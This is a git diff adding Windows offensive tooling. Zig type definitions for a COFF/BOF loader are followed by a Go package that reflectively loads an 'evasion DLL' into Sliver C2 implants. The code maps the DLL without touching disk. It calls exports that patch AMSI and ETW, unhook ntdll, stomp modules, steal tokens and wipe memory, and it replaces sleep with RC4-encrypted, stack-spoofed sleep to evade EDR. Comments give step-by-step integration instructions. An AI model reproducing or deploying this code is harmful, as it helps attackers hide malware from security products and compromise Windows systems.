'C', 'P', 'U', 'B', 'L', 'I', 'C', 'B', 'L', 'O', 'B' }; +pub const BCRYPT_KDF_RAW_SECRET: ?*const anyopaque = @as(?*const anyopaque, @ptrFromInt(3)); + +pub const AES_KEY_SIZE: usize = 32; +pub const GCM_NONCE_SIZE: usize = 12; +pub const GCM_TAG_SIZE: usize = 16; + +pub fn BCRYPT_INIT_AUTH_MODE_INFO(info: *BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO) void { + info.cbSize = @sizeOf(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO); + info.dwInfoVersion = 1; + info.pbNonce = null; + info.cbNonce = 0; + info.pbAuthData = null; + info.cbAuthData = 0; + info.pbTag = null; + info.cbTag = 0; + info.pbMacContext = null; + info.cbMacContext = 0; + info.dwFlags = 0; + info.pbIV = null; + info.cbIV = 0; +} + +pub const UNICODE_STRING = extern struct { + Length: u16, + MaximumLength: u16, + Buffer: [*]u16, +}; + +pub const SYSTEM_INFO = extern struct { + u: extern union { + dwOemId: DWORD, + s: extern struct { + wProcessorArchitecture: WORD, + wReserved: WORD, + }, + }, + dwPageSize: DWORD, + lpMinimumApplicationAddress: LPVOID, + lpMaximumApplicationAddress: LPVOID, + dwActiveProcessorMask: DWORD_PTR, + dwNumberOfProcessors: DWORD, + dwProcessorType: DWORD, + dwAllocationGranularity: DWORD, + wProcessorLevel: WORD, + wProcessorRevision: WORD, +}; + +pub const COORD = extern struct { + X: SHORT, + Y: SHORT, +}; + +pub const MEMORY_BASIC_INFORMATION = extern struct { + BaseAddress: LPVOID, + AllocationBase: LPVOID, + AllocationProtect: DWORD, + RegionSize: SIZE_T, + State: DWORD, + Protect: DWORD, + Type: DWORD, +}; + +pub const SECURITY_ATTRIBUTES = extern struct { + nLength: DWORD, + lpSecurityDescriptor: ?LPVOID, + bInheritHandle: BOOL, +}; + +pub const PROCESS_INFORMATION = extern struct { + hProcess: HANDLE, + hThread: HANDLE, + dwProcessId: DWORD, + dwThreadId: DWORD, +}; + +pub const STARTUPINFOA = extern struct { + cb: DWORD, + lpReserved: LPSTR, + lpDesktop: LPSTR, + lpTitle: LPSTR, + dwX: DWORD, + dwY: DWORD, + dwXSize: DWORD, + dwYSize: DWORD, + dwXCountChars: DWORD, + dwYCountChars: DWORD, + dwFillAttribute: DWORD, + dwFlags: DWORD, + wShowWindow: WORD, + cbReserved2: WORD, + lpReserved2: *BYTE, + hStdInput: HANDLE, + hStdOutput: HANDLE, + hStdError: HANDLE, +}; + +pub const SYSTEMTIME = extern struct { + wYear: WORD, + wMonth: WORD, + wDayOfWeek: WORD, + wDay: WORD, + wHour: WORD, + wMinute: WORD, + wSecond: WORD, + wMilliseconds: WORD, +}; + +pub const CONTEXT = extern struct { + P1Home: DWORD64, + P2Home: DWORD64, + P3Home: DWORD64, + P4Home: DWORD64, + P5Home: DWORD64, + P6Home: DWORD64, + ContextFlags: DWORD, + MxCsr: DWORD, + SegCs: WORD, + SegDs: WORD, + SegEs: WORD, + SegFs: WORD, + SegGs: WORD, + SegSs: WORD, + EFlags: DWORD, + Dr0: DWORD64, + Dr1: DWORD64, + Dr2: DWORD64, + Dr3: DWORD64, + Dr6: DWORD64, + Dr7: DWORD64, + Rax: DWORD64, + Rcx: DWORD64, + Rdx: DWORD64, + Rbx: DWORD64, + Rsp: DWORD64, + Rbp: DWORD64, + Rsi: DWORD64, + Rdi: DWORD64, + R8: DWORD64, + R9: DWORD64, + R10: DWORD64, + R11: DWORD64, + R12: DWORD64, + R13: DWORD64, + R14: DWORD64, + R15: DWORD64, + Rip: DWORD64, +}; + +pub const EXCEPTION_RECORD = extern struct { + ExceptionCode: DWORD, + ExceptionFlags: DWORD, + ExceptionRecord: *EXCEPTION_RECORD, + ExceptionAddress: *anyopaque, + NumberParameters: DWORD, + ExceptionInformation: [15]ULONG_PTR, +}; + +pub const EXCEPTION_POINTERS = extern struct { + ExceptionRecord: *EXCEPTION_RECORD, + ContextRecord: *CONTEXT, +}; + +pub const RTL_OSVERSIONINFOW = extern struct { + dwOSVersionInfoSize: DWORD, + dwMajorVersion: DWORD, + dwMinorVersion: DWORD, + dwBuildNumber: DWORD, + dwPlatformId: DWORD, + szCSDVersion: [128]WCHAR, +}; + +pub const BCRYPT_ALG_HANDLE = *opaque {}; +pub const BCRYPT_KEY_HANDLE = *opaque {}; +pub const BCRYPT_SECRET_HANDLE = *opaque {}; + +pub const BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO = extern struct { + cbSize: ULONG, + dwInfoVersion: ULONG, + pbNonce: ?*u8, + cbNonce: ULONG, + pbAuthData: ?*u8, + cbAuthData: ULONG, + pbTag: ?*u8, + cbTag: ULONG, + pbMacContext: ?*u8, + cbMacContext: ULONG, + dwFlags: ULONG, + pbIV: ?*u8, + cbIV: ULONG, +}; + +pub const coff_file_header_t = extern struct { + Machine: u16, + NumberOfSections: u16, + TimeDateStamp: u32, + PointerToSymbolTable: u32, + NumberOfSymbols: u32, + SizeOfOptionalHeader: u16, + Characteristics: u16, +}; + +pub const coff_section_header_t = extern struct { + Name: [8]u8, + VirtualSize: u32, + VirtualAddress: u32, + SizeOfRawData: u32, + PointerToRawData: u32, + PointerToRelocations: u32, + PointerToLinenumbers: u32, + NumberOfRelocations: u16, + NumberOfLinenumbers: u16, + Characteristics: u32, +}; + +pub const coff_symbol_t = extern struct { + Name: extern union { + ShortName: [8]u8, + LongName: extern struct { + Zeroes: u32, + Offset: u32, + }, + }, + Value: u32, + SectionNumber: i16, + Type: u16, + StorageClass: u8, + NumberOfAuxSymbols: u8, +}; + +pub const coff_reloc_t = extern struct { + VirtualAddress: u32, + SymbolTableIndex: u32, + Type: u16, +}; + +pub const coff_mapped_section_t = struct { + data: []u8, + characteristics: u32, + name: [8]u8, +}; + +pub const bof_data_parser_t = struct { + data: []const u8, + offset: usize, +}; + +pub const OBJECT_ATTRIBUTES = extern struct { + Length: ULONG, + RootDirectory: ?HANDLE, + ObjectName: ?*anyopaque, + Attributes: ULONG, + SecurityDescriptor: ?*anyopaque, + SecurityQualityOfService: ?*anyopaque, +}; + +pub const CLIENT_ID = extern struct { + UniqueProcess: HANDLE, + UniqueThread: ?HANDLE, +}; + +pub const PROCESS_INSTRUMENTATION_CALLBACK = extern struct { + Version: ULONG, + Reserved: ULONG, + Callback: ?*anyopaque, +}; + +pub const PROCESS_CREATE_INFO = extern struct { + Size: SIZE_T, + ProcessHandle: HANDLE, + ParentProcess: HANDLE, +}; + +pub const SECURITY_IMPERSONATION_LEVEL = enum(u32) { + SecurityAnonymous = 0, + SecurityIdentification = 1, + SecurityImpersonation = 2, + SecurityDelegation = 3, +}; + +pub const TOKEN_TYPE = enum(u32) { + TokenPrimary = 1, + TokenImpersonation = 2, +}; + +pub const TOKEN_DUPLICATE: DWORD = 0x0002; +pub const TOKEN_QUERY: DWORD = 0x0008; +pub const TOKEN_ADJUST_PRIVILEGES: DWORD = 0x0020; +pub const TOKEN_ASSIGN_PRIMARY: DWORD = 0x0001; +pub const TOKEN_IMPERSONATE: DWORD = 0x0004; + +pub const LUID = extern struct { + LowPart: DWORD, + HighPart: LONG, +}; + +pub const LUID_AND_ATTRIBUTES = extern struct { + Luid: LUID, + Attributes: DWORD, +}; + +pub const TOKEN_PRIVILEGES = extern struct { + PrivilegeCount: DWORD, + Privileges: [1]LUID_AND_ATTRIBUTES, +}; + +pub const SE_PRIVILEGE_ENABLED: DWORD = 0x00000002; +pub const GENERIC_READ: DWORD = 0x80000000; +pub const GENERIC_WRITE: DWORD = 0x40000000; +pub const OPEN_EXISTING: DWORD = 3; +pub const OPEN_ALWAYS: DWORD = 4; +pub const CREATE_ALWAYS: DWORD = 2; +pub const FILE_SHARE_READ: DWORD = 0x00000001; +pub const FILE_SHARE_WRITE: DWORD = 0x00000002; +pub const FILE_ATTRIBUTE_NORMAL: DWORD = 0x00000080; +pub const INVALID_HANDLE_VALUE: HANDLE = @ptrFromInt(~@as(usize, 0)); + +pub const CRITICAL_SECTION = extern struct { + DebugInfo: ?*anyopaque, + LockCount: LONG, + RecursionCount: LONG, + OwningThread: HANDLE, + LockSemaphore: HANDLE, + SpinCount: ULONG_PTR, +}; + +pub const PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE: DWORD_PTR = 0x00020016; \ No newline at end of file diff --git a/go-bridge/embed_dll.go b/go-bridge/embed_dll.go new file mode 100644 index 0000000..afdfba0 --- /dev/null +++ b/go-bridge/embed_dll.go @@ -0,0 +1,7 @@ +//go:build evasion && windows + +// Generated by valak build.zig — zig build && zig-out/bin/valak.dll +// Replace this with the compiled DLL bytes before building. +package valak + +var embeddedDLL []byte diff --git a/go-bridge/valak.go b/go-bridge/valak.go new file mode 100644 index 0000000..a23c2aa --- /dev/null +++ b/go-bridge/valak.go @@ -0,0 +1,466 @@ +//go:build evasion && windows + +// Go bridge for the Valak evasion DLL. Embeds the compiled valak.dll, reflectively +// loads it into the current process, resolves exports, and provides clean Go functions. +// +// Integration with Sliver: +// 1. Copy this package into implant/sliver/evasion/valak/ +// 2. In your Sliver implant init, call: valak.Start() +// 3. Replace time.Sleep(d) with: valak.EvasionSleep(d) +// +// The DLL handles: RC4 .text encryption, NtDelayExecution via indirect syscall, +// stack return-address zeroing, and all other evasion in the background. +package valak + +import ( + "encoding/binary" + "fmt" + "log" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" +) + +var ( + dllBase uintptr + dllLoaded bool + procInit uintptr + procSleep uintptr + procPatchETW uintptr + procPatchAMSI uintptr + procUnhookNtdll uintptr + procStomp uintptr + procIsRelocated uintptr + procInitText uintptr + procUnpatchAMSI uintptr + procUnpatchETW uintptr + procWipeMemory uintptr + procStealToken uintptr + procRev2self uintptr +) + +const ( + memCommit = 0x00001000 + memReserve = 0x00002000 + pageReadwrite = 0x04 + pageExecuteRead = 0x20 + pageExecReadwrite = 0x40 + dllProcessAttach = 1 + + imageDosSignature = 0x5A4D + imageNTSignature = 0x00004550 +) + +type imageDOSHeader struct { + E_magic uint16 + _ [58]byte + E_lfanew uint32 +} + +type imageFileHeader struct { + _ [2]byte + NumberOfSections uint16 + _ [12]byte + SizeOfOptionalHeader uint16 + _ [2]byte +} + +type imageDataDirectory struct { + VirtualAddress uint32 + Size uint32 +} + +type imageOptionalHeader64 struct { + _ [16]byte + AddressOfEntryPoint uint32 + BaseOfCode uint32 + ImageBase uint64 + SectionAlignment uint32 + FileAlignment uint32 + _ [16]byte + SizeOfImage uint32 + SizeOfHeaders uint32 + _ [48]byte + DataDirectory [16]imageDataDirectory +} + +type imageNTHeaders64 struct { + Signature uint32 + FileHeader imageFileHeader + OptionalHeader imageOptionalHeader64 +} + +type imageSectionHeader struct { + Name [8]byte + VirtualSize uint32 + VirtualAddress uint32 + SizeOfRawData uint32 + PointerToRawData uint32 + PointerToRelocations uint32 + PointerToLinenumbers uint32 + NumberOfRelocations uint16 + NumberOfLinenumbers uint16 + Characteristics uint32 +} + +type imageExportDirectory struct { + _ [12]byte + _ [4]byte + _ [4]byte + NumberOfFunctions uint32 + NumberOfNames uint32 + AddressOfFunctions uint32 + AddressOfNames uint32 + AddressOfNameOrdinals uint32 +} + +// loadDLL reflectively loads the embedded valak.dll. No file on disk, no +// LoadLibrary callback, no PEB module list entry. +func loadDLL() error { + data := embeddedDLL + if len(data) == 0 { + return fmt.Errorf("no embedded DLL") + } + + dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0])) + if dosHeader.E_magic != imageDosSignature { + return fmt.Errorf("invalid DOS header") + } + + ntOffset := dosHeader.E_lfanew + ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset])) + if ntHeader.Signature != imageNTSignature { + return fmt.Errorf("invalid NT header") + } + + imageBase := ntHeader.OptionalHeader.ImageBase + sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage) + sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders) + + base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite) + if err != nil { + return fmt.Errorf("VirtualAlloc: %w", err) + } + dllBase = base + + copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders]) + + sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader) + sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections) + for i := range sections { + sec := §ions[i] + if sec.SizeOfRawData == 0 { + continue + } + dst := base + uintptr(sec.VirtualAddress) + if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage { + continue + } + srcOff := uintptr(sec.PointerToRawData) + if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) { + continue + } + copy( + unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData), + unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData), + ) + } + + delta := int64(base) - int64(imageBase) + if delta != 0 { + applyRelocations(data, base, delta, ntHeader) + } + + resolveImports(data, base, ntHeader) + + for i := range sections { + sec := §ions[i] + if sec.VirtualAddress == 0 { + continue + } + addr := base + uintptr(sec.VirtualAddress) + prot := sectionProtect(sec.Characteristics) + var old uint32 + windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old) + } + + resolveExports(data, base, ntHeader) + + entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + if entry != base { + syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0) + } + + if procInit != 0 { + syscall.SyscallN(procInit) + } + + log.Printf("[valak] DLL reflectively loaded (%d bytes)", len(data)) + dllLoaded = true + return nil +} + +func sectionProtect(chars uint32) uint32 { + switch { + case chars&0x20000000 != 0 && chars&0x80000000 != 0: + return pageExecReadwrite + case chars&0x20000000 != 0: + return pageExecuteRead + default: + return pageReadwrite + } +} + +func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) { + relocDir := ntHeader.OptionalHeader.DataDirectory[5] + if relocDir.VirtualAddress == 0 || relocDir.Size == 0 { + return + } + relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size) + off := uintptr(0) + for off < uintptr(relocDir.Size) { + blockVA := binary.LittleEndian.Uint32(relocData[off:]) + blockSize := binary.LittleEndian.Uint32(relocData[off+4:]) + if blockSize == 0 { + break + } + entries := (blockSize - 8) / 2 + for e := uint32(0); e < entries; e++ { + entryOff := off + 8 + uintptr(e*2) + entry := binary.LittleEndian.Uint16(relocData[entryOff:]) + relocType := entry >> 12 + relocOff := entry & 0xFFF + if relocType == 0 { + continue + } + addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff)) + if relocType == 10 { + val := (*uint64)(addr) + *val = uint64(int64(*val) + delta) + } + } + off += uintptr(blockSize) + } +} + +func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) { + exportDir := ntHeader.OptionalHeader.DataDirectory[0] + if exportDir.VirtualAddress == 0 || exportDir.Size == 0 { + return + } + exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress))) + names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames) + funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions) + ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames) + + lookup := func(name string) uintptr { + for i := uint32(0); i < exp.NumberOfNames; i++ { + fnName := goString(base + uintptr(names[i])) + if fnName == name { + if uint32(ords[i]) < exp.NumberOfFunctions { + return base + uintptr(funcs[ords[i]]) + } + } + } + return 0 + } + + procInit = lookup("init_evasion") + procSleep = lookup("evasion_sleep") + procPatchETW = lookup("patch_etw") + procPatchAMSI = lookup("patch_amsi") + procUnhookNtdll = lookup("unhook_ntdll") + procStomp = lookup("stomp_evasion") + procIsRelocated = lookup("is_relocated") + procInitText = lookup("init_text_region") + procUnpatchAMSI = lookup("unpatch_amsi") + procUnpatchETW = lookup("unpatch_etw") + procWipeMemory = lookup("wipe_memory") + procStealToken = lookup("steal_token") + procRev2self = lookup("rev2self") +} + +type imageImportDescriptor struct { + OriginalFirstThunk uint32 + _ uint32 + _ uint32 + Name uint32 + FirstThunk uint32 +} + +func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) { + importDir := ntHeader.OptionalHeader.DataDirectory[1] + if importDir.VirtualAddress == 0 || importDir.Size == 0 { + return + } + modKernel32 := windows.NewLazySystemDLL("kernel32.dll") + procLoadLibrary := modKernel32.NewProc("LoadLibraryA") + procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA") + procGetProcAddress := modKernel32.NewProc("GetProcAddress") + + desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress))) + descSize := uintptr(unsafe.Sizeof(*desc)) + for desc.Name != 0 { + dllName := goString(base + uintptr(desc.Name)) + hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName)))) + if hMod == 0 { + hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName)))) + } + if hMod == 0 { + desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize)) + continue + } + thunkRVA := desc.OriginalFirstThunk + if thunkRVA == 0 { + thunkRVA = desc.FirstThunk + } + thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA))) + iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk))) + step := uintptr(8) + for *thunk != 0 { + var fnAddr uintptr + if *thunk&(1<<63) != 0 { + ordinal := uintptr(*thunk & 0xFFFF) + fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal) + } else { + nameRVA := uint32(*thunk & 0x7FFFFFFF) + fnName := goString(base + uintptr(nameRVA) + 2) + fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName)))) + } + *iat = uint64(fnAddr) + thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step)) + iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step)) + } + desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize)) + } +} + +// goString reads a null-terminated ASCII string from the DLL's mapped memory. +// Reads one byte at a time to avoid page-boundary overread. +func goString(addr uintptr) string { + var b [256]byte + for i := range b { + c := *(*byte)(unsafe.Pointer(addr + uintptr(i))) + if c == 0 { + return string(b[:i]) + } + b[i] = c + } + return string(b[:]) +} + +// ---- Public API ---- + +// Start loads the DLL and patches AMSI/ETW. Call once at implant init. +func Start() { go loadDLL() } + +// EvasionSleep replaces time.Sleep with RC4-encrypted sleep + callstack spoofing. +// During sleep: Go .text + DLL .text encrypted via SystemFunction032. Stack return +// address zeroed so EDR frame walks terminate below us. Wake: decrypt, restore return +// address, return cleanly. +func EvasionSleep(d time.Duration) { + ms := uint32(d.Milliseconds()) + if dllLoaded && procSleep != 0 { + syscall.SyscallN(procSleep, uintptr(ms)) + return + } + time.Sleep(d) // fallback +} + +// InitText tells the DLL where our Go implant's .text lives for RC4 encryption. +func InitText() { + if dllLoaded && procInitText != 0 { + if base, size := findOwnTextSection(); size > 0 { + syscall.SyscallN(procInitText, base, size) + } + } +} + +// PatchAll runs the full evasion init: stomp -> unhook -> ETW -> AMSI. +// Sliver typically calls this in an init goroutine after Start(). +func PatchAll() { + if !dllLoaded { + return + } + if procStomp != 0 { + syscall.SyscallN(procStomp, dllBase) + if procIsRelocated != 0 { + r, _, _ := syscall.SyscallN(procIsRelocated) + if r != 0 { + log.Printf("[valak] module stomped") + } + } + } + if procUnhookNtdll != 0 { + syscall.SyscallN(procUnhookNtdll) + log.Printf("[valak] ntdll unhooked") + } + if procPatchETW != 0 { + syscall.SyscallN(procPatchETW) + log.Printf("[valak] ETW patched") + } + if procPatchAMSI != 0 { + syscall.SyscallN(procPatchAMSI) + log.Printf("[valak] AMSI patched") + } + InitText() +} + +func StealToken(pid uint32) bool { + if procStealToken == 0 { + return false + } + r, _, _ := syscall.SyscallN(procStealToken, uintptr(pid)) + return r != 0 +} + +func Rev2self() bool { + if procRev2self == 0 { + return false + } + r, _, _ := syscall.SyscallN(procRev2self) + return r != 0 +} + +// Cleanup undoes patches and zeros DLL memory. +func Cleanup() { + if !dllLoaded { + return + } + if procUnpatchAMSI != 0 { + syscall.SyscallN(procUnpatchAMSI) + } + if procUnpatchETW != 0 { + syscall.SyscallN(procUnpatchETW) + } + if procWipeMemory != 0 { + syscall.SyscallN(procWipeMemory) + } +} + +// findOwnTextSection walks the main executable's PE headers to find .text bounds. +func findOwnTextSection() (uintptr, uintptr) { + procGMH := windows.NewLazySystemDLL("kernel32.dll").NewProc("GetModuleHandleW") + base, _, _ := procGMH.Call(0) + if base == 0 { + return 0, 0 + } + dos := (*imageDOSHeader)(unsafe.Pointer(base)) + if dos.E_magic != imageDosSignature { + return 0, 0 + } + nt := (*imageNTHeaders64)(unsafe.Pointer(base + uintptr(dos.E_lfanew))) + if nt.Signature != imageNTSignature { + return 0, 0 + } + sectionOffset := dos.E_lfanew + 4 + 20 + uint32(nt.FileHeader.SizeOfOptionalHeader) + for i := uint16(0); i < nt.FileHeader.NumberOfSections; i++ { + sec := (*imageSectionHeader)(unsafe.Pointer(base + uintptr(sectionOffset) + uintptr(i)*40)) + if sec.Name[0] == '.' && sec.Name[1] == 't' && sec.Name[2] == 'e' && sec.Name[3] == 'x' && sec.Name[4] == 't' && sec.Name[5] == 0 { + return base + uintptr(sec.VirtualAddress), uintptr(sec.VirtualSize) + } + } + return 0, 0 +} diff --git a/go-bridge/valak_stub.go b/go-bridge/valak_stub.go new file mode 100644 index 0000000..4f46d19 --- /dev/null +++ b/go-bridge/valak_stub.go @@ -0,0 +1,13 @@ +//go:build !evasion || !windows + +package valak + +import "time" + +func Start() {} +func EvasionSleep(d time.Duration) { time.Sleep(d) } +func InitText() {} +func PatchAll() {} +func StealToken(pid uint32) bool { return false } +func Rev2self() bool { return false } +func Cleanup() {}